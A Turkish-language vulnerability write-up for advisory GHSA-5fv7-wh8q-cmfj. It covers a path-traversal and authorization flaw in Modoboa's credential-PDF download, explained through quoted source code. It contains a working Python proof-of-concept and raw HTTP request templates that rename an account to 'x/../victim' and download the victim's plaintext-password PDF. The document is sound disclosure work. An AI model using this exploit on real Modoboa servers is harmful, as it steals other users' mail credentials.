GHSA-5fv7-wh8q-cmfj Modoboa Credential PDF Path Traversal [TR]

Credential PDF Path Traversal — Modoboa GHSA-5fv7-wh8q-cmfj

Çok şey bilen dosya

Modoboa, Django ile yazılmış bir e-posta barındırma ve yönetim platformu: domain'ler, mailbox'lar, alias'lar, kotalar ve bir web paneli. Küçük uygulamalarından biri olan modoboa.pdfcredentials, her hesap için bir PDF üretiyor: web paneli adresi, username ve şifre. Dosya diskte Fernet ile şifreli tutuluyor, API indirme sırasında çözüyor.

İki varsayılan değer hikâye için önemli. generate_at_creation=True, şifreyi hesap oluşturulurken PDF'e yazıyor. delete_first_dl=True, ilk başarılı indirmeden sonra dosyayı siliyor. İkisi de makul ürün kararları. Hiçbiri tek başına açık değil.

modoboa/pdfcredentials/documents.pypython
# modoboa/pdfcredentials/documents.py:96-100
data = [
    ["URL", conf["webpanel_url"]],
    [_("Username"), account.username],
    [_("Password"), password],
]

Diskte şifreli olması dosyayı korur; API'nin yetkili bir indirmeye verdiği yanıtı korumaz. O yüzden asıl soru şu: API, dosyayı çözmeden önce “bu dosya senin mi?” diye soruyor mu? Bunu sormak için önce dosyayı bulması gerekiyor. İşte username tam burada devreye giriyor.

İlk durak: get_creds_filename()

Bir hesabı file path'e çeviren fonksiyon bir solukta okunacak kadar kısa. Bu genelde iyi bir işarettir. Burada da iyi bir işaretti; sadece eksik bir şeyler vardı.

modoboa/pdfcredentials/lib.pypython
# modoboa/pdfcredentials/lib.py:48-54
storage_dir = os.path.abspath(param_tools.get_global_parameter("storage_dir"))
fname = os.path.abspath(os.path.join(storage_dir, account.username + ".pdf"))
if os.path.dirname(fname) != storage_dir:
    raise InternalError(_("Invalid account name: %s") % account.username)
return fname

storage_dir mutlak yol oluyor. os.path.join, account.username + ".pdf" ekliyor. abspath sonucu normalize ediyor. dirname hâlâ storage_dir'a eşit olmalı, yoksa InternalError fırlıyor.

Bu bir path traversal kontrolü gibi görünüyor ve dar anlamda öyle. Kontrol, storage_dir dışına çıkmayı engelliyor. Peki dışarı çıkmamıza gerek yoksa? Hedef zaten aynı klasörde, bizim dosyamızın yanındaysa?

x/../victim@example.com gibi bir username verin:

abspath ne yapıyortext
storage_dir/x/../victim@example.com.pdf
        │
        ├─ abspath() ─→ storage_dir/victim@example.com.pdf
        │
        └─ dirname() ─→ storage_dir   ✓ kontrol geçti

Kontrol, kendisine sorulan soruya cevap veriyor: “Çözülen yol storage_dir içinde mi?” Asıl sormamız gereken soruya cevap vermiyor: “Bu dosya, az önce yetkilendirdiğimiz hesaba mı ait?” Aynı klasördeki başka bir dosya da storage_dir içinde.

Kontrol, klasörden dışarı çıkmayı engelliyor. Aynı klasördeki başka bir dosyayı işaret etmeyi engellemiyor.

Yol matematiği tuttu. Şimdi akla gelen soru şu: account.username içine gerçekten bir slash ve .. koyabiliyor muyuz? Username bir e-posta adresi. Serializer bizi durdurmalı.

Validation gate'te bir boşluk

Hesap oluşturma ve güncelleme WritableAccountSerializer.validate() üzerinden geçiyor. E-posta format kontrolü koşulsuz değil. check_mailbox adlı bir değişkene bağlı.

modoboa/admin/api/v2/serializers.pypython
# modoboa/admin/api/v2/serializers.py:691-704
username = data.get("username")
has_mailbox = self.instance is not None and hasattr(self.instance, "mailbox")
if has_mailbox:
    check_mailbox = (
        username is not None and username != self.instance.mailbox.full_address
    )
else:
    # create() and update() create a mailbox
    check_mailbox = (
        username is not None
        and "mailbox" in data
        and (not self.instance or bool(data["mailbox"]))
    )
if check_mailbox:
    self.address, domain_name = email_utils.split_mailbox(username)
    ...

else bloğuna bakın. Mailbox ilişkisi olmayan bir hesap için has_mailbox yanlış oluyor. Kod, herhangi bir validation yapmadan önce request body'de mailbox anahtarı arıyor. Sadece {"username": "x/../victim@example.com"} gönderirseniz bu koşul yanlış oluyor. E-posta ayrıştırma, domain lookup ve creator.can_access(domain) kontrolü hiç çalışmıyor.

Bloğun üstündeki yorum “create() and update() create a mailbox” diyor. Mailbox'ı olmayan bir DomainAdmin veya Reseller için bu varsayım tam da açığın kendisi.

Sonra değer doğrudan uygulanıyor:

modoboa/admin/api/v2/serializers.pypython
# modoboa/admin/api/v2/serializers.py:829-830
for key, value in validated_data.items():
    setattr(instance, key, value)

User.save() varsayılan olarak full_clean() çağırmıyor; model alanı da düz bir CharField:

modoboa/core/models.pypython
# modoboa/core/models.py:65
username = CharField(max_length=254, unique=True)

Doğrulayıcı yok. Format kontrolü yok. Path kontrolü yok. Değer veritabanına gidiyor.

Bingo. Slash ve .. içeren bir username'imiz var. Şimdi bunu dosya okumaya çevirecek endpoint lazım.

Yetki benim hesabımda, dosya senin hesabında

Credential indirme endpoint'i GET /api/v2/credentials/{account_id}/. Serializer hesabı URL'den alıyor, çağıranın bu hesaba erişimi olup olmadığına bakıyor, sonra dosya adını hesap nesnesinden üretiyor.

modoboa/pdfcredentials/api/v2/serializers.pypython
# modoboa/pdfcredentials/api/v2/serializers.py:102-111
account = User.objects.get(pk=data["account_id"])
if not request.user.can_access(account):
    raise serializers.ValidationError({"account_id": _("Invalid account")})
fname = get_creds_filename(self.context["account"])

account_id URL'den geliyor. Kendi id'mizi gönderiyoruz, can_access(account) doğru dönüyor. Ama fname, hesabın username'inden geliyor; yani az önce değiştirdiğimiz değerden. Yetki kararı hâlâ nesne id'sine bağlı; dosya ise değişebilen ada bağlı. Artık aynı nesne değiller.

Burada iki zayıflık birleşiyor: CWE-73 (dosya adı veya yolunun dışarıdan kontrolü) ve CWE-639 (kullanıcı kontrolündeki anahtar üzerinden yetki atlatma). Bildirim ikisini de listeliyor. Düz Türkçeyle: path traversal artı object-level authorization hatası.

Bir ayrıntı daha: view'ın izin sınıflarında DjangoModelPermissions var ve queryset domain bazlı (Domain.objects.get_for_admin). Ama bu istekteki object-level karar yukarıdaki can_access çağrısı; ve o hesabı kontrol ediyor, dosyayı değil.

Zincirin tamamı

Bütün akış şöyle. Kendi hesabımızla giriş yapıyoruz, ama dosya adı başka birini gösteriyor.

GHSA-5fv7-wh8q-cmfj — saldırı akışıtext
saldırgan (mailbox'ı olmayan DomainAdmin/Reseller, bearer token)
  │
  ├─ PATCH /api/v2/accounts/<own_id>/
  │    {"username": "x/../victim@example.com"}
  │         validation gate atlandı → değer kaydedildi
  │
  ├─ GET /api/v2/credentials/<own_id>/
  │         can_access(kendi hesabı) = true
  │         abspath(storage/x/../victim@example.com.pdf)
  │           = storage/victim@example.com.pdf
  │         dirname == storage → kontrol geçti
  │         decrypt_file() → PDF yanıtı
  │
  └─ delete_first_dl=True → 

Parçaları bir arada tutmakta fayda var:

DosyaSatırlarNe yapıyor
admin/api/v2/serializers.py691-704, 821-870Validation gate ve kör setattr
core/models.py65, 323-326Düz CharField; privileged rol ObjectAccess
pdfcredentials/lib.py41-54Username'den dosya adı; dirname kontrolü
pdfcredentials/api/v2/serializers.py97-119can_access, çözme, isteğe bağlı silme
pdfcredentials/documents.py96-100PDF içinde düz metin şifre

Her halka tek başına sıradan: değişebilen bir alan, bir path join, eksik bir full_clean(), verilen nesneyi kontrol eden bir izin kontrolü. Hata, bunların birleştiği yerde.

Preconditions

  1. Mailbox'ı olmayan privileged bir hesap. DomainAdmin veya Reseller; SimpleUser'da admin.view_domain yok. Hesabın kendi üzerinde bir ObjectAccess satırı olmalı; privileged rol ataması bunu otomatik oluşturuyor (core/models.py:323-326).
  2. Credential PDF'leri açık olmalı. enabled_pdfcredentials açık ve storage_dir tanımlı.
  3. Kurbanın dosyası hâlâ duruyor olmalı. Varsayılan delete_first_dl=True ile daha önce indirilmemiş olması gerekiyor. generate_at_creation=True, şifrenin hesap oluşturulurken yazıldığı anlamına geliyor; sonradan değişen şifre eski kalmış olabilir, ama username güncel.
  4. Kurbanın username'i bilinmeli. Dosya adı zaten o.
  5. Saldırgan için geçerli bir bearer token olmalı. API'de SessionAuthentication yok; sadece Django web oturumu yetmiyor. OAuth2 authorization-code + PKCE akışı (PoC bunu yapıyor) veya DRF token kullanılabilir.

PoC: iki istek

Parametreli PoC script'i giriş yapıyor, bearer token alıyor, username'i değiştiriyor, dosyayı indiriyor, hash'i doğruluyor ve finally bloğunda username'i geri alıyor. Saldırının kendisi iki API çağrısı; gerisi OAuth2 trafiği.

terminalbash
$ python3 f004_pdf_traversal.py \
    --target https://modoboa.example.com \
    --username da@tenant-a.test \
    --password '{{password}}' \
    --victim reseller@tenant-a.test
f004_pdf_traversal.py — attack core (trimmed)python
def api(session, method, url, token, timeout, scheme="Bearer", **kwargs):
    headers = dict(kwargs.pop("headers", {}))
    headers["Authorization"] = f"{scheme} {token}"
    return session.request(method, url, headers=headers, timeout=timeout, **kwargs)

# ... OAuth2 login, PKCE and /account/me/ handling are above ...
traversal = f"x/../{args.victim}"
renamed = False

try:
    Log.info(f"renaming own username to {traversal!r}")
    patch = api(
        session, "PATCH",
        f"{base}/api/v2/accounts/{account_id}/",
        token, args.timeout, scheme=scheme,
        json={"username": traversal},
    )
    if patch.status_code != 200:
        Log.fail(f"rename rejected: HTTP {patch.status_code}")
        return 2
    renamed = True
    Log.ok("username accepted")

    # Do NOT send Accept: application/pdf; DRF content negotiation would
    # return 406 before the view runs. The view sets application/pdf itself.
    read = api(
        session, "GET",
        f"{base}/api/v2/credentials/{account_id}/",
        token, args.timeout, scheme=scheme,
    )
    if read.status_code != 200:
        Log.fail(f"credential download failed: HTTP {read.status_code}")
        return 1

    digest = hashlib.sha256(read.content).hexdigest()
    disposition = read.headers.get("Content-Disposition", "")
    Log.ok(f"received {len(read.content)} bytes (sha256={digest})")
    Log.info(f"Content-Disposition: {disposition}")

    output = args.output or f"f004-{args.victim}.pdf"
    with open(output, "wb") as handle:
        handle.write(read.content)
    Log.ok(f"document saved to {output}")
finally:
    if renamed and not args.no_restore:
        api(
            session, "PATCH",
            f"{base}/api/v2/accounts/{account_id}/",
            token, args.timeout, scheme=scheme,
            json={"username": original_username},
        )

Sırayla ne yapıyor:

  1. Deployment /frontend/config.json sunuyorsa OAuth2 public client'ı oradan buluyor; sunmuyorsa --client-id ve --redirect-uri alıyor.
  2. Django oturumu açıyor, 2FA yönlendirmesinde duruyor ve bearer token için authorization-code + PKCE akışını tamamlıyor.
  3. Hesap id'sini ve mailbox durumunu almak için /api/v2/account/me/ okuyor.
  4. Username'i x/../{{victim}} yapmak için PATCH atıyor.
  5. GET /api/v2/credentials/<own_id>/ ile PDF'i indiriyor.
  6. Boyut, SHA-256 ve Content-Disposition yazdırıyor; username'i geri alıyor.

Manual Reproduction

Burada havalı bir şey yok. Bu bir özellik ta ki username dosya yoluna dönüşene kadar.

1. adım — kendini yeniden adlandırhttp
PATCH /api/v2/accounts/{{account_id}}/ HTTP/1.1
Host: {{host}}
Authorization: Bearer {{token}}
Content-Type: application/json

{"username": "x/../{{victim_username}}"}
2. adım — credential PDF'ini indirhttp
GET /api/v2/credentials/{{account_id}}/ HTTP/1.1
Host: {{host}}
Authorization: Bearer {{token}}

{{account_id}} iki istekte de saldırganın kendi hesabı. İkinci istekte Accept: application/pdf göndermeyin. DRF'in content negotiation'ı view'dan önce çalışıp 406 döndürüyor. Yanıtın kendisi yine application/pdf:

beklenen yanıthttp
HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Disposition: attachment; filename="reseller@tenant-a.test.pdf"
Content-Length: 2557

Timeline

TarihOlay
9 Kasım 2026Bulgu yerel Docker ortamında uçtan uca doğrulandı; indirilen PDF, kurbanın dosyasının SHA-256'sıyla eşleşti.
17 Kasım 2026GHSA-5fv7-wh8q-cmfj yayınlandı; 2.13.0 düzeltmesi hazır.

Referanslar

Bildirim metni, etkilenen sürümler ve düzeltme için: